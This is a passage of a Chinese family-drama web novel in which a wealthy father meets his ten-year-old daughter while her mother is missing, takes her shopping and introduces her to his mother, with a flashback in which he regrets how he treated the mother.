日记本跟周衍东巴掌差不多大,硬壳封面上印着烫金玫瑰,细线条环在玫瑰四周,像是围绕它组成了一个星系,亮闪闪的反光小星星零碎散落。 本子侧面挂着一把锁。 周衍东抬头望向女儿:“我能看看里面的内容吗?” 程妙瑾斩钉截铁:“不能,这是程溪的隐私。要不是着急找线索,我不会未经她允许偷看的。” 周衍东低头,目光落回封面烫金玫瑰上。 “说不定我能找到其他线索。刚才打电话问过,你们那儿近年来失踪案很少,本地几乎没有人口拐卖案例,我想程溪会不会……” 他抿着薄唇停顿片刻。 “会不会只是想一个人静一静?” “就算只想静一静,总要有住的地方吧?住宿总要付钱吧?每天总要吃饭吧?她的微信支付绑定了银行卡,警方说目前没有任何消费记录。”程妙瑾皱着眉头,满脸担忧。 沉默好一会儿,周衍东开口:“或许为了不那么快被找到,她用的是现金。” 其实这话周衍东自己都不太信。 然而转念一想,程溪这个人,表面温顺乖巧,骨子里也有几分叛逆,要不当初怎么会在什么都不了解的情况下兴冲冲带他回家,跟他在一起,又义无反顾随他来京州? 为了清净暂时避世,怕被找到所以只用现金支付,这种事儿她也不是做不出。 很快,这想法被周衍东推翻。 生活再苦工作再烦,她骨子里再离经叛道,也不可能抛下亲生女儿悄无声息走掉。 得知程溪失踪后,周衍东心里就压上一块石头。 石头和心绑在一起,缓慢而匀速地往下坠。 往无底深渊坠。 被石头压住的心脏又像是拴了根绳,绳的一头系在喉咙上,心脏越往下坠,喉咙越紧。 紧得发苦,紧得酸胀。 窒息感如同凶狠猛兽将周衍东一步一步逼到悬崖边缘。 他不着痕迹深深吸气。 程妙瑾从父亲手里拿回日记本,本子被她重新塞回包里。 “晚点再给你看吧,你先找找人脉,看有没有什么人能帮忙——” “找了,别担心。午饭没吃吧?带你去吃饭。”周衍东往外走。 “我不饿。”孩子站在原地摇了摇头,肚子却不争气地叫起来。 她已经三十六小时没进食了。 来之前倪老板逼着她喝几口粥,她皱紧眉头盯着盛粥的大瓷碗,舀起一勺准备吃,唇刚凑过去,手就放下了,愁眉苦脸告诉倪老板——“真的一口也吃不下。” 倪老板问是不是因为担心妈妈,她摇着头否认,可泛红的眼眶骗不了人。 倪老板没再逼她,送她来到这儿,拍拍她肩膀,说等她谈完带她去吃午饭,到时候无论如何也得吃点儿东西。 肚子里传来的咕咕声被周衍东听到,见他扬了扬眉,程妙瑾很不好意思。 周衍东没戳穿“不饿”这谎言,淡笑着又看向办公室门口:“走吧。” 专属电梯往下降。 程妙瑾站在父亲身旁,咬着唇犹豫一会儿,说道:“有个阿姨——倪老板,她在外面等我,我们说好的,跟您谈完,她带我去吃午饭。” 周衍东听出言外之意:这顿不想跟他一起吃。 孩子来到世上十年,今天跟他头一次见面,父女之间有距离感,甚至女儿对他有抗拒感,他能理解,也能接受。 “那咱们叫上她一起吃。”周衍东扭头看着孩子,笑了笑。 他试图用“咱们”这个词儿来拉近距离,也尽量笑得和蔼可亲。 但愿是和蔼可亲吧。 别人总说他笑比不笑可怕,唇一扬,皮笑肉不笑的样子瘆得慌。 周衍东忍住点开手机相机的冲动。他很想确认自己此刻脸上的笑意是亲切还是瘆人,又怕女儿误解,以为他自恋得下电梯的功夫都要自拍。 但愿孩子没有被他的笑容吓到,周衍东在心里祈祷。 “我不确定倪老板愿不愿意跟您一起吃饭,虽然她是个社牛,但总得先征询一下她的意愿。她愿意的话最好,如果不愿意,下次我再单独跟您吃吧。” 程妙瑾看着父亲,目光真诚而坦率。 电梯停在一楼,门打开,周衍东迈步出去:“你妈妈把你养得很好。” 程妙瑾微微讶异,低头看看自己干瘦的身材:“有些不熟的人说她没把我养好,甚至以为她虐待我,不给我吃饭呢。” 怕父亲也产生这种误会,程妙瑾立马解释:“是我自己挑食严重,这不吃那不吃,妈妈已经尽力了。” 周衍东停下来,垂眸看着这个比同龄人高出一截,瘦得惹人生怜的小姑娘,摇了摇头。 “我是指你很懂礼貌,很有教养,这点程溪一定下了功夫,她是很了不起的母亲。” 程妙瑾歪着脑袋想了想:“她没下什么功夫,以身作则罢了。” 走出大厦,穿过自动门,程妙瑾仰头望向身旁的父亲:“她是很了不起的女人。” 这话周衍东没法否认,点点头,沉默片刻,四处看了看:“你阿姨呢?” 程妙瑾:“大概率在附近某家奶茶店。” 一。 程妙瑾往旁边走了几步,与父亲隔出距离,小声打了个电话。 很快,她收起手机,扭头对父亲说:“阿姨想自己在周围逛逛,让我先跟着您,下午她再来接我。” 路边停了一辆黑色劳斯莱斯。付明山从驾驶位下来,拉开后座车门,目光落在程妙瑾脸上,片刻便自觉移开。 “周总。”他恭敬地打了声招呼。 周衍东颔首,下巴一扬,让程妙瑾先上车。 “想吃什么?”周衍东问。 “都行。”程妙瑾现在处于某种奇怪状态——明明感觉不到饿,肚子却会时不时叫几下。大概是空腹太久了吧。 周衍东:“西餐?” 程妙瑾摇头:“吃不惯。” 周衍东:“地方菜。” 程妙瑾:“哪里的?” 周衍东:“川菜?” 程妙瑾:“太辣了。” 周衍东:“东北菜?” 程妙瑾:“我觉得好咸。” 周衍东:“韩餐?” 程妙瑾:“不喜欢。” 周衍东:“寿司?” 程妙瑾:“我怕寄生虫。” 周衍东:“黔菜?” 程妙瑾:“也辣。而且妈妈经常做,吃腻了。” 周衍东看着女儿,扬了扬眉:“那你有什么特别想吃的?” 程妙瑾:“都行。” 周衍东:“……” 他深吸一口气。 程妙瑾把目光从街景移到父亲脸上:“怎么了?” “你还真是……”他转脸看向窗外,微微摇起了头,“跟我小时候一模一样。” 第48章 爸爸。 “我年轻那会儿也很挑食, 这几年才好些,主要是越来越忙,吃东西纯粹是为了维持生命体征,所以吃什么无所谓, 吃得下就行。”周衍东补充道。 他压根没意识到, 在女儿面前, 自己开始变得话多了。 “你现在也不老,三十几, 挺年轻的。”程妙瑾眼神在父亲脸上停留,安慰道。 其实他这种浓眉大眼标准中式美男面孔, 英俊是英俊,却略显老成, 难怪程溪说他“二十来岁长了张三十来岁的脸”——日记原话。 不过这种长相的好处是,等到四五十岁,看着还像三十来岁。 周衍东摇摇头, 语气带着几分自嘲:“老了,奔四了。” 程妙瑾:“还没奔四呢, 就取得这么高的成就, 也算是值了。” 周衍东没作声。 话说到这份儿上,程妙瑾顺势开口:“您这么厉害, 肯定认识很多厉害的人, 妈妈这个案子, 京州警方能不能——” “我会想办法, ”周衍东抬手往下按了按,让孩子别急,“刚才已经联系过几个人。咱俩目前能做的,就是先等着。” 他盯着孩子的目光没挪开:“另外, 不用给我戴高帽,也不用跟我这么客气。别老对我说敬称,可以管我叫爸爸。” 程妙瑾握着书包拉链上的小挂件,手上力道紧,骨节撑得发白,粉红薄唇也紧抿成一条直线。 半晌,她浅浅点头,轻声挤出两个字:“好的。” 今天以前,生命里周衍东的缺席,并没有让程妙瑾多么恨他。毕竟他昨天才知道,自己在世上还有个女儿存在。 不恨他,不代表可以轻轻松松对他喊出一声“爸爸”。 于别人而言,这或许是再寻常不过的称呼,于她而言,这俩字儿对别人提起还好,当周衍东面这么叫,她叫不出口。 她想着,要是多叫周衍东几声“爸爸”,把他叫高兴了,说不定他会更卖力帮忙找程溪。 可不知怎么,当着他的面,这声“爸爸”无论如何也叫不出口。 气氛再次陷入尴尬,空气仿佛凝结成一团,程妙瑾呼吸都有些不畅,抓着书包的手又紧了几分。 父女两个平日都是话少的,这会儿更是不知该说什么。周衍东怕没话找话显得蠢,又容易惹孩子生厌,抿着薄唇不作声。 打破沉默的是司机。 “周总,咱们去哪儿?” 周衍东也不知道。 孩子嘴上说“都行”,这不吃那不吃,他没招,思来想去看着女儿憋出一句:“我买点菜回去自己做吧。” 怕她又提出异议,周衍东赶紧补一句:“等会儿去超市,你想吃什么就拿什么,回去爸爸给你做。” 他努力将“爸爸”两个字说得漫不经心。 程妙瑾也努力漫不经心似的点了点头。 周衍东唇角微扬,不自觉笑了一下。 他问:“程溪允许你吃零食吗?” 孩子点点头:“她让的,但是我不吃。” 周衍东眼里闪过惊讶:“不吃?为什么?” 很少有小孩儿不喜欢吃零食。 程妙瑾:“没什么特别的原因,就是不爱吃。非要深究原因的话,可能我潜意识里觉得零食这种东西很不健康,对它们有种本能的排斥。” 周衍东持续惊讶:“你还知道潜意识。” 孩子目不转睛看着他,表情一本正经,语气严肃:“别觉得小孩儿就该爱吃零食,就该什么天真烂漫什么都不懂——这些都是你们大人的刻板印象罢了。” 周衍东赶忙摆着手解释:“没有瞧不起你们小孩儿的意思,我只是,只是有些惊讶,你很多方面都不像个十岁的孩子。” 程妙瑾问:“你十岁时什么样?” 周衍东想了想,答道:“喜欢把自己关在房间里看书,喜欢刷题,喜欢思考一些稀奇古怪的问题。” 程妙瑾:“你十岁时看什么书?” 周衍东:“看了很多,大多数不记得名字了,不过有一本记得,黑格尔的《小逻辑》,因为我不太赞同他提出的某些观点,所以在笔记本上写下了反驳他的想法,这个本子被我妈——也就是你奶奶找到了,一直保存得很好,她逢人就夸自己儿子从小就很有想法。” 程妙瑾点点头:“《小逻辑》我去年就看过了,那时候我九岁。” 她扬起唇角,笑里带着一丝胜利者的挑衅。 周衍东愣了片刻,随即会心一笑。 胜负欲这么强,不愧是他的女儿。 程妙瑾又说道:“你十岁的时候也一点儿都不像个小孩儿,就别要求我在这个年龄活得像个小孩儿了。” 周衍东无奈扶额,淡笑:“爸爸真不是这意思,就是有点儿怕你享受不了童年的快乐。” 程妙瑾毫不在意,鼻子里哼一声:“享受不了就享受不了呗,再说了,童年的快乐未必有多快乐,我感觉大多数孩子傻乎乎的,在他们中间,当个清醒的聪明人,感觉很不错。” 周衍东扬眉:“爸爸以前也这么想,但是咱们不能太骄傲。” 程妙瑾微微摇头:“没什么可骄傲的,无非就是跟他们一比,属于降维打击罢了。” 周衍东没忍住,噗嗤笑出声,抬手轻抚着孩子的头。 不知不觉间,父女俩渐渐拉近了距离,彼此都放松许多。 司机将车停在公寓附近一家超市门口,正要陪着周衍东和孩子进去,被周衍东拦住:“老付,你在车里等着。” 付明山问:“不用我帮您们拿东西吗?” 周衍东摇头。 付明山懂得看人脸色,立马明白,老板这是想跟孩子多点时间单独相处,他望着这对父女走进超市,回想起刚才老板和孩子在车里的对话,不禁暗自感慨:没想到周总还有这么温柔,这么有耐心的一面! 来到京州以后,程妙瑾有了许多的人生第一次。 第一次住上五星酒店——周衍东特助给安排的;第一次进到比她家客厅大了至少四倍的办公室;第一次看到父亲这么英俊的男人…… 现在,她第一次在如此大型的超市里买东西,和她的父亲。 亲生父亲。 超市里灯光明亮,空调温度适宜,人来人往中,程妙瑾忽然恍惚,心里想,要是母亲也在就好了。 一家三口逛超市这种事,以前她不是没想过。 “妙妙,吃这个吗?”周衍东递来一包鲜蘑菇,“这个煮好了放进面里,味儿特鲜。” 这声“妙妙”叫得无比自然,程妙瑾听得愣住,疑惑地看向他: 周衍东:“你妈妈说的。” 程妙瑾:“她什么时候告诉你的?” 周衍东:“好多年前了。那会儿我俩说过,如果生了个女儿,就叫妙瑾,小名妙妙。” 程妙瑾这才反应过来刚才自己犯了蠢,小脸微红,默不作声转过头去。 周衍东知道她在想什么,笑道:“没关系,再聪明的人也有糊涂的时候。” 程妙瑾扭过脸来,冲他飞快做了个鬼脸:“你得意坏了吧!可算抓到我犯蠢的时候了。” 周衍东仍是笑,摇了摇头,心里升起淡淡的幸福感。 “妈妈也喜欢吃这个,她也觉得蘑菇味道鲜,但是我不喜欢,我觉得有股奇怪的味道。”程妙瑾说道。 听她提起程溪,周衍东不笑了,英俊的面孔上,忧虑再次浮现,眉头紧拧,内心的幸福感被焦灼感席卷,连呼吸都牵扯出痛意。 他默默把推车里的鲜菇放回去,可下一秒,程妙瑾又将这袋鲜菇塞回车里:“我不爱吃这个,不吃就行了,你爱吃就买,别什么都顾着我。” 她有些不好意思,红着脸左看右看缓解尴尬,又轻声补了一句:“这样我会很不自在。” 周衍东看着那袋被放回来的鲜菇,浅浅扬唇,点头:“好。” “你平时喜欢做饭吗?”程妙瑾拿起一把上海青,看了看标价,又放下。 周衍东拿起她放下的那把菜:“五块八,拿吧,很便宜。” 程妙瑾摇头:“这边蔬菜也太贵了,我们那儿菜市场里,东西又好吃又新鲜又便宜。不过最主要是,我不太爱吃上海青。” 周衍东还是将那把上海青放进推车里:“我也不喜欢,你奶奶倒是挺爱吃这个。” 说完,他忽然想起什么,掏出手机给母亲打电话,告诉她自己等会儿就回来。 母亲问他怎么这个点儿突然要回来,他没细说,只说下午没什么事儿,回去休息一下。母亲又问要不要准备点吃的,他说不用。 等他挂断电话,程妙瑾小声问道:“你跟奶奶一块儿住?” 周衍东点头:“嗯,还有另一个奶奶——她比你亲奶奶年轻,我们管她叫方姨。” 程妙瑾:“是你家保姆,对吗?” “是的,”他顿了顿,目光看向女儿,“我家就是你家,以后别跟爸爸分你我,知道了吗?” 程妙瑾不太习惯这么熟络,点了点头,绕开话题:“你平时喜欢做饭吗?刚才就问过你呢,避而不谈,是不是厨艺特差?” 周衍东笑了:“这事儿程溪日记里应该有写,没看过吗?” 再次被他反将一军,程妙瑾红着脸皱着眉,忽然很想骂他一句“坏爸爸”,又觉得这话要是说出来,就跟其他小孩儿没两样了,太幼稚,所以这三个字到底被她给憋了回去。 她撇撇嘴,说道:“程溪确实提过,她说你厨艺一般,算不上好也算不上坏,但是很少做给她吃,平时都是她伺候你多。还说你是大少爷,被佣人伺候惯了,挑剔得很,嫌这嫌那,难伺候得很。” 她一股脑说完,见父亲侧着脸正看别处,生气了,绕到另一边:“你到底有没有在听呀?妈妈——” 绕过去看见父亲的脸,程妙瑾忽地愣住。 父亲眼眶泛红,垂眸往下看,不知心里在想什么。 沉默片刻,她轻轻叫道:“爸爸。” 周衍东恍然回神,抬眸看向女儿,眸子雾蒙蒙的,什么也看不清。 第49章 他知道错了。 发现孩子在看自己, 周衍东仰头,闭了闭眼,不让眼泪掉落。 再看向孩子时,他唇角挂起了笑, 故作轻松说道:“这阵儿又忙又累, 没睡好。” 他假装打了个哈欠, 想给眼里的泪花找一个不那么伤感的来由。 但程妙瑾那么聪明,怎么会不知道父亲眼含热泪是因为难过了呢? 她识趣地迈开脚步, 闭嘴没再跟父亲说什么,假装认真挑选食材。 周衍东跟在女儿身后, 麻木地迈着步伐,面无表情, 如同一具行尸走肉,思绪早已回到多年以前。 那时候程溪还没走,还在他身边。 他确实很少做饭给程溪吃。在广城那会儿明明答应过, 以后会宠她疼她,有空就给她做饭, 可自打回了京州, 不仅承诺没兑现,反倒没少折腾她。 有时候应酬完, 他喝多了, 头疼得厉害, 不管多晚回到公寓, 只要他想,就会叫醒程溪,让她起床给自己煮醒酒汤。 有时程溪实在是困,撒娇不愿意起, 问他怎么不叫方姨煮,他凑过去,下巴抵在她颈窝,用刚冒出的那层浅浅的胡茬轻轻蹭她滑嫩的肌肤,使坏笑道:“就想让你伺候我。” 程溪娇嗔:“成天净想着怎么折腾我!” 他不乐意了:“你是我媳妇儿,不折腾你折腾谁?” 程溪推开他,气呼呼下床:“谁是你媳妇儿?我才不是呢!” 走了两步,她回头瞧着他,嫌弃道:“一身酒气,赶紧洗澡去!” 他累得不想动动弹,瘫在床上,等她送来醒酒汤,喝完又歇了歇才去洗澡。 等他从浴室出来,程溪已经再次入梦。他来了兴致,又把她弄醒,没完没了地索取,要个没够。 周衍东不得不承认,其实有时候自己就是在故意折腾程溪。 他就喜欢看程溪伺候自己,无论是在床下还是床上。 自从那个孩子没了,两人吵过闹过以后,程溪开始渐渐变乖。她越乖,他就越得寸进尺,什么都由着自己性子来。 程溪不跟他闹,他当程溪没意见。 年轻那会儿须索真是大,时常半夜回来,按着程溪做个没够,第二天程溪身上又青又紫,困得睁不开眼,他赶着上班,想吃她煮的早餐,硬把她拽起来给自己煮面。 程溪再困也不发火,哈欠连天下楼做早餐,煮好了叫他下来吃,他吃面时,她就上楼补觉。他一个人吃着面,想起以前在广城那阵子,她总是陪他一起过早,两个人说说笑笑,幸福得要命。 如今回想起来,程溪之所以不愿意陪他吃早餐,就是被他折腾烦了,压根不想看见他。 周衍东发现,自己每次回公寓,除了折腾程溪好像就没别的事儿了,床上折腾,床下也折腾,后来程溪坚决要走,八成也是被他折腾得受不了。 有些事以前不觉得怎么样,回过头来看,才发现自己比自己以为的还要混蛋千百倍。 超市很大,然而逛完一圈生鲜区,推车里的食物依然寥寥无几,周衍东从回忆中抽离,看向女儿:“你就吃这么几样?” 程妙瑾耸耸肩:“煮面而已,一点蔬菜一点面就好了呀。” 周衍东发现推车里只有挂面,问道:“不喜欢吃鲜面条?” 程妙瑾摇头:“不太喜欢,其实我比较喜欢吃米粉,我们那边也叫米线,过桥米线吃过吗?” 周衍东:“去云州出差时吃过,味道还行,总之,比方便面强。喜欢吃米线,怎么不拿?那边儿有。” 程妙瑾:“你说要煮面,我就不搞特殊了。” 周衍东笑了笑,抬手摸摸她脑袋:“别跟爸爸客气,也别怕麻烦爸爸。” 程妙瑾微微发怔,没躲开父亲的手。 父亲亲昵的举动让她有些不自在,但又并不排斥,只是还不太习惯。 周衍东给她拿了米粉,又拿了些肉沫,准备做个鲜菇肉末哨子,下粉下面都好吃,这还是程溪教他做的。 “确定不吃零食?”他问。 程妙瑾摇摇头:“不要。” 周衍东没强求,他自己从小就不爱吃零食。 “妙妙,”周衍东看着女儿,以一种商量的语气开口,“今晚别住酒店了,跟爸爸和奶奶在家里住行么?” 程妙瑾想了想,说:“那到时候我跟倪老板,省得她担心。” 周衍东好奇:“你跟这个倪老板关系很好?” 程妙瑾点头: 周衍东皱了皱眉,正纳闷郑叔叔这是哪位,立马反应过来,无声笑了。 郑尧今年才二十八,都当叔叔了。谁叫自己女儿都已经十岁了?说起来,直到女儿十岁才发现她的存在,自己这个父亲未免也太过失职。 周衍东问:“爸爸明天能见见她吗?跟她聊一聊,或许能从她那里知道一些关于程溪的线索。” 程妙瑾点头:“好,回去我把她联系方式给你。” 父女俩走出超市,回到车上,周衍东犹豫一会儿,还是决定把心里想法说出来。 “妙妙,”他看着女儿,目光中含着一丝祈求,“你奶奶年纪大了,受不得刺激,程溪失踪这事儿,先别告诉她。主要是跟她说了她也帮不上什么忙,白白担忧,还会一直念叨,念得人心烦。方奶奶也是,她比你奶奶小一些,不过她俩性格挺像,都爱唠叨。等回到家,你就说放暑假了,妈妈让你回来看看我们,成么?” 程妙瑾毫不犹豫点了点头,应道:“好。” 周衍东欣慰笑道:“谢谢。” 程妙瑾:“不用谢,妈妈日记里写过,奶奶是很好的人,对她也很好,所以我不想让奶奶担心。” 周衍东抬手,掌心轻抚着孩子后脑勺,轻轻点头,夸道:“好孩子。” 他看看窗外,又看向孩子:“我们住的地方是套公寓,面积不算大,你先去看看,要是不喜欢,爸爸带你住别的房子。” 程妙瑾赶忙摇头:“不用,我有个睡的地方就行。” 过了一小会儿,她轻声问:“你们住的公寓还是以前妈妈住过的那套吗?” 周衍东点头:“是,你妈妈搬走以后,奶奶住了进来。对了,你妈妈怎么在日记里形容那套公寓的?她喜欢吗?” 程妙瑾轻轻“啧”了一声,面色有些为难,想了想,说道:“她确实写过那套公寓,不过我也不知道她对那里是喜欢还是讨厌。” 周衍东扬了扬眉:“怎么说?” 程妙瑾回忆起母亲日记上的内容:“她没明确表示过喜不喜欢那里,只是写,那个地方,你回来的时候才像家,你不在的时候,像笼子。” 像笼子。 最后三个字,如重锤狠狠砸在周衍东心上。 闷痛从心脏蔓延开,他深吸一口气,不想流泪,紧闭着双眼,泪水还是从眼角滚落出来。 回到家门口,开门前,周衍东问女儿:“紧不紧张?” 程妙瑾:“不太紧张,奶奶和方奶奶都是好人,都很亲切,妈妈写过的。” 她看出来了,父亲明明是自己紧张,还故作轻松问她这话。 周衍东按下指纹,门锁解开,他推门而进。 尹岚正和方姨在客厅看电视,听见玄关动静,瞧过来,问道:“怎么这个点儿回来?早不早晚不晚的。” 周衍东打了声招呼:“妈,方姨。” 他冲门外的女儿招了招手。 程妙瑾走进来。 沙发上的两个人同时愣住,周衍东要牵着女儿往里走,程妙瑾低头看了看自己脚上的鞋,没挪步。 周衍东知道她有教养又爱干净,说道:“没关系,先不用换,家里没有适合你的小拖鞋,等会儿方姨去买。” 他牵着孩子走到沙发前,看着孩子,下巴冲前面一扬:“妙妙,叫奶奶和方奶奶。” 程妙瑾乖乖打招呼:“奶奶好,方奶奶好!” 尹岚和方姨先是一愣,随即面面相觑,最后同时站了起来。 “东子,这是——”尹岚向前几步,上下打量起这个孩子。 “妈,这是妙妙,我女儿。”周衍东平静介绍道。 尹岚眉心忽地一皱,目光震惊,方姨在旁边也不禁深吸一口气:“您、您女儿?” 周衍东点头,以一种平淡至极的口吻说道:“我和程溪的女儿。” 尹岚猛地倒抽凉气,双手捂住嘴,瞪大眼睛,死死盯着孩子。 这孩子模样八分像周衍东,剩下两分,确实有程溪的影子…… 她看看儿子,见他一脸严肃,丝毫没有开玩笑的意思;又看看这孩子,这个活生生出现在她眼前的孩子…… 尹岚忽然哭出声,一把将孩子搂进怀里,“心肝儿肉”的叫个不停。 方姨在旁边也不住地抹泪。 周衍东默默转身,走向厨房,身后传来母亲和方姨的哭声,脑子里,全是遇见程溪的第一晚,她将泡好的方便面递给他时的笑脸。 十三年前的今天,那个叫程溪的姑娘非要让他吃长寿面。 一晃眼,他已经三十五岁了。 他来到厨房,给母亲和方姨煮了面,给女儿煮了粉,也给自己煮了一碗长寿面。 他红着眼眶,低头看着自己那碗面,心里想:活着真没劲。 第50章 他真不是东西。 平日里周衍东工作繁忙, 尹岚和方姨从不让他进厨房,而此刻,两位长辈沉浸在巨大的震惊和喜悦中,谁都没有注意到周衍东已经去厨房忙活起来了。 尹岚抱着孩子哭了一阵子, 泣不成声, 好不容易缓过劲儿来, 松开怀抱,双手紧紧握住孩子的手, 哽咽着问:“好孩子,你叫什么名儿?” 程妙瑾答道:“奶奶, 我叫程妙瑾,您可以叫我妙妙。” 尹岚又问:“今年多大了?” 程妙瑾:“十岁。” 尹岚惊讶:“个头这个高, 才十岁?” 她从头到尾重新打量孩子,说道:“单看这个头,还以为十三四岁的呢!看来不光脸长得像你爸, 个头也像。唉,就是太瘦了……” 她连连叹气, 摸着孩子瘦削的小脸, 眼泪汪汪:“怎么会瘦成这样……” 程妙瑾怕她误会母亲,赶忙解释:“妈妈没有虐待我, 是我自己挑食, 还吃得少。” 听她提起“妈妈”两个字, 尹岚眼眶又红了几分, 吸了吸鼻子,问道:“你妈妈她……怎么没来?” 程妙瑾想起父亲在车上叮嘱自己的话,轻轻咬唇,沉默片刻小声开口:“妈妈太忙了, 没时间,就让我趁着放暑假自己到京州来看看你们。” 尹岚语气不免有些埋怨:“她自个儿怎么不来?” 程妙瑾极少撒谎,也不爱撒谎,低头避开尹岚的目光,声音很小很小:“她工作忙……” 尹岚好奇:“她现在在哪工作,你们在哪生活?” 程妙瑾:“我出生在容今市,从小都在那边生活,这是第一次出远门。” 尹岚对容今有印象:“是不是云安的城市?” 程妙瑾点头:“嗯,一个十八线小城市,没想到您竟然知道。” 尹岚失神片刻,摇着头轻声感慨:“这么说,你妈妈当年确实去了南方,不过没回老家,也没去广城,竟然去了云安。” 程妙瑾:“妈妈说过她很喜欢云安的气候,不过云安挺大的,即使同一个省内,有些地方四季分明,有些地方四季如春。我们那个城市还好,气候宜人,虽然经济比较落后,但物价便宜,民风淳朴,生活起来很舒服。” 程妙瑾对尹岚有着本能的好感,或许是因为血脉相连,又或许是母亲多次在日记中夸赞奶奶,见着奶奶真人,她不自觉话多了起来。 尹岚问:“你妈妈是压根没来京州,还是来了,但不愿意过来见我们?” 程妙瑾低着头,轻轻摇晃脑袋,还是那句话:“她太忙了,得留在那边工作。” 尹岚长长叹一口气,心里难受极了,怨道:“这孩子可真是……她知不知道这些年我有多想她……” 尹岚再说不下去了,捂着嘴,不住地流泪。 方姨在一旁轻拍着她后背,安慰道: 尹岚深吸一口气,泪汪汪的眼睛看着程妙瑾,唇边扯出一个笑:“妙妙,你十岁了,其实不算小了,不知道妈妈有没有告诉过你她和爸爸之间的事,这些事奶奶也不好多说。 “这么些年你只跟着妈妈生活,是因为当年你妈妈和爸爸发生了很多事,两个人实在过不下去了,只能选择分开。或许你会在心里埋怨爸爸奶奶,以前从没有来看过你,照顾过你。 “可我们真的不知道……要是知道,怎么会——” 程妙瑾轻轻摇头,打断道:“奶奶,虽然不知道爸爸妈妈当年发生了什么,但你们以前从不知道我的存在,我也是……” 她顿了顿,低头盯着地面,沉默片刻才继续说:“我也是最近才听妈妈讲起身世,所以我不怪你们,也不怪妈妈。我在容今那边除了妈妈,没别的亲人,现在终于有了更多亲人,我特别高兴。” 搁以前,程妙瑾是不会这样跟人剖心致腹的。 她觉得说这些话显得很矫情,所以总是将心里最真挚的感情深深隐藏,即便面对母亲,有时也无法诉说自己内心深处的感情。 而现在,面对亲生奶奶,面对这个慈眉善目,亲和友善的长辈,与母亲多日失联的程妙瑾再也绷不住了,放下内心所有防备,含着泪,自然而然将这些话说出了口。 尹岚原本有许多问题要问,许多事情想了解,许多话要说,听完她这番话,不禁泪流满面,一时不知道该从哪里说起,只觉得内心涌出许多许多感动。 她又将孩子抱在怀里,紧紧搂住。 这孩子太瘦了,脊背的骨头硌得她难受,虽然孩子说过自己挑食,吃得少,尹岚也了解程溪,知道她绝不会虐待孩子,可还是忍不住心疼,暗暗发誓,趁孩子在身边这段时间,一定要将她养胖些。 抱着孩子又哭了一会儿,尹岚抹了抹泪,问道:“妙妙,谁送你来的京州?” 程妙瑾:“一个阿姨,我妈妈的朋友,我管她叫倪老板,我俩关系特好。她正好要来京州玩儿,就把我带过来了。” 尹岚:“这样啊,她人呢?怎么不叫她一起上家里来?” 程妙瑾:“她……她忙着逛街呢,说是不打扰我们亲人团聚。” 尹岚:“那等她逛完了,你联系她一下,咱们好好请人家吃顿饭。” 程妙瑾点头,垂眸不作声。 尹岚又给她介绍了一下方姨,程妙瑾乖巧叫了声“方奶奶”,方姨笑道:“别叫奶奶了,我可听不惯,你跟大家一起叫我方姨就好。” 程妙瑾:“我觉得这样有些没礼貌。” 尹岚慈祥地笑了笑:“就是个称呼而已,我们知道你是有礼貌的好孩子。” 程妙瑾这才答应,冲方姨点头:“爸爸让我今晚在这儿住,谢谢方姨照顾我,给您添麻烦了。” 方姨忍不住摸了摸她的头,含泪感慨:“你这孩子,跟你妈妈当年一样,乖得让人心疼……” 程妙瑾:“我可没有妈妈那么乖,我很离经叛道的。” 尹岚笑出声:“你叛逆期来得这么早呀?” 程妙瑾:“或许是叛逆期来的早,又或许天生就是反骨吧。总之,妈妈说我跟别的小孩儿很不一样。” 尹岚:“那估计是像你爸了,他从小就跟别的孩子不一样。” 程妙瑾:“不一样也很好,对不对?每个人都是独特的存在,我来到这个世界,就应该按照自己最舒服的方式生存。要不然岂不是白来这一遭了?” 尹岚和方姨面面相觑,不约而同暗暗想着:小小年纪,懂得可不比大人少!有些大人活了一辈子,思想境界还不如她呢。 三个人家长里短聊了一会儿,听见周衍东在饭厅叫他们过来吃饭。 “哎哟,你想吃东西,让方姨做就是了,自己做什么呀,怪累的!”尹岚看了看时钟,三点都不到,“东子,你们中午是不是没吃饭?” 周衍东点头:“我和妙妙都没吃。” 尹岚:“你俩吃吧,我和方姨吃过午饭了。” 周衍东将一双筷子放在自己座位旁的一个大碗上,看向女儿:“妙妙,米粉没给你加葱,也没加香菜,估摸着你不喜欢。” 程妙瑾很满意:“确实都不爱,谢谢爸爸。” 周衍东倍感欣慰,又有些别扭,再次强调:“以后别跟爸爸这么客气。” 尹岚和方姨虽然不吃,可还是在饭厅坐了下来,笑容满面看着他俩。 程妙瑾等父亲动了筷自己才拿起筷子,夹起米粉,正要吃,目光落在父亲那碗面里,问道:“不加个煎蛋吗?” 周衍东摇头:“不用,煎鸡蛋费事儿。” 程妙瑾:“可今天是你的生日诶!长寿面得配鸡蛋。” 这话一出,尹岚和方姨都愣住。 周衍东从小就没有过生日的习惯,主要是周庆显从来不过生日,也不让儿子过。 但每逢尹岚生日,周庆显都会送她礼物,算是对自己这位听话的妻子表达一下爱意。儿子就没这么好的待遇了。没祝福,没礼物,没有任何表示。久而久之。大家都不会刻意去记这对父子的生日。 尹岚看了看手机,8月3号,确实是儿子阳历生日。 她想起好些年前,儿子还很小,自己其实很想给他过生日,但周庆显不让,总说,男人过什么生日?没这个必要!吃穿用度从来没短着他,干嘛非得抽出一天搞特殊? 尹岚反驳说,人家那么小,还不算男人,就是个小男孩儿,过过生日怎么了? 周庆显态度强硬,说男孩怎么不是男人,男孩从小就该当男人来养,长大才会成为男子汉。 尹岚没办法,只得由着他。 如今回想起来,尹岚心里愧疚万分,总觉得这么些年没有好好给儿子过个生日,也送过祝福和礼物,多少有些对不起他。 没想到妙妙作为女儿,竟能记住父亲的生日,想必是程溪告诉她的。程溪这个母亲,当得可真称职。 尹岚既欣慰又感动,先是夸妙妙是个孝顺的好孩子,又转脸看向周衍东,笑道:“东子,妈妈祝你生日快乐,难怪今儿回来那么早呢。妈妈考虑不周,没给你准备礼物,晚上一定给你补上。” 周衍东抬手轻轻挥了挥:“不用,一家人整这么客气干嘛。” 尹岚:“正因为是一家人。才应该好好表达自己的心意。这点妈妈以前做的不好,得改正。” 她看向孙女,忍不住夸道:“看看咱们妙妙,还记得爸爸的生日,多好的孩子呀!” 程妙瑾没觉得这有什么值得夸赞的,有些不好意思,低了低头,小声说道:“主要是爸爸的生日好记。” 方姨噗嗤笑出声:“8月3号,好记吗?” 尹岚赶忙接话:“挺普通一日子,主要这天是爸爸的生日,妙妙就记下来了,对不对?” 程妙瑾头埋更低,没忍住,说了实话:“妈妈好像挺在意爸爸生日的,提过好几次,我就记下来了……” 尹岚和方姨互相看了看,又齐齐看向周衍东,见他低着头面无表情吃东西,似乎没什么反应,谁也不敢接这话。 